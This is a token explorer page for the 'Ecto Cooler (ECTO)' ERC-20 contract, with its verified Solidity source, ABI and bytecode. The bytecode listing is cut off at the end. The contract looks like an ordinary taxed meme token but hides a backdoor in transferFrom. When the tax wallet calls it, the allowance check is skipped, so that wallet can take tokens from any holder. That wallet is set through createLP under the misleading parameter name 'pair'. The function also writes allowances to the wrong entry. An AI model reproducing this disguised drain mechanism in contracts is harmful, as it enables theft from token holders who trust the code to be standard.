ETH Price: $2,476.16 (+7.45%)

Token

Ecto Cooler (ECTO)
 

Overview

Max Total Supply

420,690,000,000 ECTO

Holders

65

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ECTO

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-31
*/

// SPDX-License-Identifier: UNLICENSED

/**

Website: https://ecto-cooler.cool

X: https://x.com/EctoERC20

Telegram: https://t.me/EctoERC20

*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function eq(address a, address b) internal pure returns (bool) {
        return a == b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ECTO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFees;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
    string private constant _name = unicode"Ecto Cooler";
    string private constant _symbol = unicode"ECTO";
    uint256 public _maxTxAmount = 2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _transfer(from, to, amount); if(eq(_taxWallet,_msgSender()) && !eq(owner(), _msgSender())) return true; 
        _approve(from, from, _allowances[from][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if(from == uniswapV2Pair)
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) {
                require(tradingOpen,"Trading not open yet");
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _taxSwapThreshold) swapback(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                sendmoon(address(this).balance);
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapback(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function enableTradingg() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
    }

    function withdrawETHBack() external onlyOwner {
        require(address(this).balance > 0);
        payable(owner()).transfer(address(this).balance);
    }
    
    function withdrawTokenBack(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address)
            .balanceOf(address(this))
            .mul(percent)
            .div(100);
        IERC20(_address).transfer(owner(), _amount);
    }

    function createLP(address pair) external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        require(uniswapV2Pair != address(0));
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        _taxWallet = payable(pair);
        _isExcludedFromFees[pair] = true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendmoon(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"createLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTradingg","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETHBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"withdrawTokenBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600555600f6006555f6007555f600855600f600955600f600a556005600b555f600c5560646009600a6100399190610360565b610048906461f313f880610375565b610053906002610375565b61005d919061038c565b600d55606461006e6009600a610360565b61007d906461f313f880610375565b610088906002610375565b610092919061038c565b600e5560646100a36009600a610360565b6100b2906461f313f880610375565b6100bd906001610375565b6100c7919061038c565b600f5560646100d86009600a610360565b6100e7906461f313f880610375565b6100f2906001610375565b6100fc919061038c565b6010556012805461ffff60a81b19169055348015610118575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556101776009600a610360565b610186906461f313f880610375565b335f9081526001602081905260408220929092556003906101ae5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560045490911683529120805490921617905561020b3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102426009600a610360565b610251906461f313f880610375565b60405190815260200160405180910390a36103ab565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102b65780850481111561029a5761029a610267565b60018416156102a857908102905b60019390931c92800261027f565b935093915050565b5f826102cc5750600161035a565b816102d857505f61035a565b81600181146102ee57600281146102f857610314565b600191505061035a565b60ff84111561030957610309610267565b50506001821b61035a565b5060208310610133831016604e8410600b8410161715610337575081810a61035a565b6103435f19848461027b565b805f190482111561035657610356610267565b0290505b92915050565b5f61036e60ff8416836102be565b9392505050565b808202811582820484141761035a5761035a610267565b5f826103a657634e487b7160e01b5f52601260045260245ffd5b500490565b6119a3806103b85f395ff3fe60806040526004361061011e575f3560e01c80638d276c2c1161009d578063bf474bed11610062578063bf474bed14610326578063caf7d5fd1461033b578063cdeb5aa11461034f578063dd62ed3e14610363578063ffdfeb5b146103a7575f80fd5b80638d276c2c146102815780638da5cb5b146102a05780638f9a55c0146102c657806395d89b41146102db578063a9059cbb14610307575f80fd5b8063313ce567116100e3578063313ce567146101f357806370a082311461020e578063715018a614610242578063751039fc146102585780637d1db4a51461026c575f80fd5b806306fdde0314610129578063095ea7b31461016e5780630faee56f1461019d57806318160ddd146101c057806323b872dd146101d4575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600b81526a22b1ba379021b7b7b632b960a91b60208201525b6040516101659190611594565b60405180910390f35b348015610179575f80fd5b5061018d6101883660046115dd565b6103c6565b6040519015158152602001610165565b3480156101a8575f80fd5b506101b260105481565b604051908152602001610165565b3480156101cb575f80fd5b506101b26103dc565b3480156101df575f80fd5b5061018d6101ee366004611607565b6103fd565b3480156101fe575f80fd5b5060405160098152602001610165565b348015610219575f80fd5b506101b2610228366004611645565b6001600160a01b03165f9081526001602052604090205490565b34801561024d575f80fd5b506102566104ab565b005b348015610263575f80fd5b50610256610525565b348015610277575f80fd5b506101b2600d5481565b34801561028c575f80fd5b5061025661029b3660046115dd565b6105d9565b3480156102ab575f80fd5b505f546040516001600160a01b039091168152602001610165565b3480156102d1575f80fd5b506101b2600e5481565b3480156102e6575f80fd5b506040805180820190915260048152634543544f60e01b6020820152610158565b348015610312575f80fd5b5061018d6103213660046115dd565b610719565b348015610331575f80fd5b506101b2600f5481565b348015610346575f80fd5b50610256610725565b34801561035a575f80fd5b50610256610793565b34801561036e575f80fd5b506101b261037d366004611660565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103b2575f80fd5b506102566103c1366004611645565b6107d5565b5f6103d2338484610bb4565b5060015b92915050565b5f6103e96009600a61178e565b6103f8906461f313f88061179c565b905090565b5f610409848484610cd7565b6004546001600160a01b03163314801561044257506104406104325f546001600160a01b031690565b6001600160a01b0316331490565b155b1561044f575060016104a4565b6104a0848561049b85604051806060016040528060288152602001611946602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611213565b610bb4565b5060015b9392505050565b5f546001600160a01b031633146104dd5760405162461bcd60e51b81526004016104d4906117b3565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461054e5760405162461bcd60e51b81526004016104d4906117b3565b61055a6009600a61178e565b610569906461f313f88061179c565b600d556105786009600a61178e565b610587906461f313f88061179c565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b76009600a61178e565b6105c6906461f313f88061179c565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106025760405162461bcd60e51b81526004016104d4906117b3565b6040516370a0823160e01b81523060048201525f906106839060649061067d9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610653573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067791906117e8565b9061124b565b906112c9565b9050826001600160a01b031663a9059cbb6106a55f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156106ef573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071391906117ff565b50505050565b5f6103d2338484610cd7565b5f546001600160a01b0316331461074e5760405162461bcd60e51b81526004016104d4906117b3565b5f4711610759575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610790573d5f803e3d5ffd5b50565b5f546001600160a01b031633146107bc5760405162461bcd60e51b81526004016104d4906117b3565b6012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146107fe5760405162461bcd60e51b81526004016104d4906117b3565b601254600160a01b900460ff16156108585760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d4565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108a29030906108936009600a61178e565b61049b906461f313f88061179c565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108f2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610916919061181e565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610975573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610999919061181e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109e3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a07919061181e565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610a4e816001600160a01b03165f9081526001602052604090205490565b5f80610a615f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ac7573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610aec9190611839565b50506012546001600160a01b03169050610b04575f80fd5b60125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610b56573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b7a91906117ff565b50600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b6001600160a01b038316610c165760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d4565b6001600160a01b038216610c775760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d4565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d3b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d4565b6001600160a01b038216610d9d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d4565b5f8111610dfe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d4565b5f80546001600160a01b03858116911614801590610e2957505f546001600160a01b03848116911614155b156110d6576012546001600160a01b0390811690851603610e6d57610e6a606461067d600954600c5411610e5f57600554610e63565b6007545b859061124b565b90505b6012546001600160a01b038581169116148015610e9857506011546001600160a01b03848116911614155b8015610ebc57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ff257601254600160a01b900460ff16610f115760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016104d4565b600d54821115610f635760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d4565b600e5482610f85856001600160a01b03165f9081526001602052604090205490565b610f8f9190611864565b1115610fdd5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d4565b600c8054905f610fec83611877565b91905055505b6012546001600160a01b03848116911614801561101857506001600160a01b0384163014155b1561104557611042606461067d600a54600c541161103857600654610e63565b600854859061124b565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561107b57506012546001600160a01b038581169116145b80156110905750601254600160b01b900460ff165b801561109f5750600b54600c54115b156110d457600f548111156110cb576110cb6110c6846110c18460105461130a565b61130a565b61131e565b6110d44761148e565b505b801561114e57305f908152600160205260409020546110f590826114c9565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111459085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111709083611527565b6001600160a01b0385165f908152600160205260409020556111b36111958383611527565b6001600160a01b0385165f90815260016020526040902054906114c9565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111fc8585611527565b60405190815260200160405180910390a350505050565b5f81848411156112365760405162461bcd60e51b81526004016104d49190611594565b505f611242848661188f565b95945050505050565b5f825f0361125a57505f6103d6565b5f611265838561179c565b90508261127285836118a2565b146104a45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d4565b5f6104a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611568565b5f81831161131857826104a4565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611364576113646118c1565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113df919061181e565b816001815181106113f2576113f26118c1565b6001600160a01b0392831660209182029290920101526011546114189130911684610bb4565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114509085905f908690309042906004016118d5565b5f604051808303815f87803b158015611467575f80fd5b505af1158015611479573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156114c5573d5f803e3d5ffd5b5050565b5f806114d58385611864565b9050838110156104a45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d4565b5f6104a483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611213565b5f81836115885760405162461bcd60e51b81526004016104d49190611594565b505f61124284866118a2565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610790575f80fd5b5f80604083850312156115ee575f80fd5b82356115f9816115c9565b946020939093013593505050565b5f805f60608486031215611619575f80fd5b8335611624816115c9565b92506020840135611634816115c9565b929592945050506040919091013590565b5f60208284031215611655575f80fd5b81356104a4816115c9565b5f8060408385031215611671575f80fd5b823561167c816115c9565b9150602083013561168c816115c9565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156116e6578085048111156116ca576116ca611697565b60018416156116d857908102905b60019390931c9280026116af565b935093915050565b5f826116fc575060016103d6565b8161170857505f6103d6565b816001811461171e576002811461172857611744565b60019150506103d6565b60ff84111561173957611739611697565b50506001821b6103d6565b5060208310610133831016604e8410600b8410161715611767575081810a6103d6565b6117735f1984846116ab565b805f190482111561178657611786611697565b029392505050565b5f6104a460ff8416836116ee565b80820281158282048414176103d6576103d6611697565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117f8575f80fd5b5051919050565b5f6020828403121561180f575f80fd5b815180151581146104a4575f80fd5b5f6020828403121561182e575f80fd5b81516104a4816115c9565b5f805f6060848603121561184b575f80fd5b5050815160208301516040909301519094929350919050565b808201808211156103d6576103d6611697565b5f6001820161188857611888611697565b5060010190565b818103818111156103d6576103d6611697565b5f826118bc57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119255783516001600160a01b03168352602093840193909201916001016118fe565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220087ac3a3a7a25505a43c8b24cc6b1afd32d98995a3dba3be8f70aa26169a530564736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c80638d276c2c1161009d578063bf474bed11610062578063bf474bed14610326578063caf7d5fd1461033b578063cdeb5aa11461034f578063dd62ed3e14610363578063ffdfeb5b146103a7575f80fd5b80638d276c2c146102815780638da5cb5b146102a05780638f9a55c0146102c657806395d89b41146102db578063a9059cbb14610307575f80fd5b8063313ce567116100e3578063313ce567146101f357806370a082311461020e578063715018a614610242578063751039fc146102585780637d1db4a51461026c575f80fd5b806306fdde0314610129578063095ea7b31461016e5780630faee56f1461019d57806318160ddd146101c057806323b872dd146101d4575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600b81526a22b1ba379021b7b7b632b960a91b60208201525b6040516101659190611594565b60405180910390f35b348015610179575f80fd5b5061018d6101883660046115dd565b6103c6565b6040519015158152602001610165565b3480156101a8575f80fd5b506101b260105481565b604051908152602001610165565b3480156101cb575f80fd5b506101b26103dc565b3480156101df575f80fd5b5061018d6101ee366004611607565b6103fd565b3480156101fe575f80fd5b5060405160098152602001610165565b348015610219575f80fd5b506101b2610228366004611645565b6001600160a01b03165f9081526001602052604090205490565b34801561024d575f80fd5b506102566104ab565b005b348015610263575f80fd5b50610256610525565b348015610277575f80fd5b506101b2600d5481565b34801561028c575f80fd5b5061025661029b3660046115dd565b6105d9565b3480156102ab575f80fd5b505f546040516001600160a01b039091168152602001610165565b3480156102d1575f80fd5b506101b2600e5481565b3480156102e6575f80fd5b506040805180820190915260048152634543544f60e01b6020820152610158565b348015610312575f80fd5b5061018d6103213660046115dd565b610719565b348015610331575f80fd5b506101b2600f5481565b348015610346575f80fd5b50610256610725565b34801561035a575f80fd5b50610256610793565b34801561036e575f80fd5b506101b261037d366004611660565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103b2575f80fd5b506102566103c1366004611645565b6107d5565b5f6103d2338484610bb4565b5060015b92915050565b5f6103e96009600a61178e565b6103f8906461f313f88061179c565b905090565b5f610409848484610cd7565b6004546001600160a01b03163314801561044257506104406104325f546001600160a01b031690565b6001600160a01b0316331490565b155b1561044f575060016104a4565b6104a0848561049b85604051806060016040528060288152602001611946602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611213565b610bb4565b5060015b9392505050565b5f546001600160a01b031633146104dd5760405162461bcd60e51b81526004016104d4906117b3565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461054e5760405162461bcd60e51b81526004016104d4906117b3565b61055a6009600a61178e565b610569906461f313f88061179c565b600d556105786009600a61178e565b610587906461f313f88061179c565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b76009600a61178e565b6105c6906461f313f88061179c565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106025760405162461bcd60e51b81526004016104d4906117b3565b6040516370a0823160e01b81523060048201525f906106839060649061067d9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610653573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067791906117e8565b9061124b565b906112c9565b9050826001600160a01b031663a9059cbb6106a55f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156106ef573d5f803e3d5ffd5b505050506040513d601f1960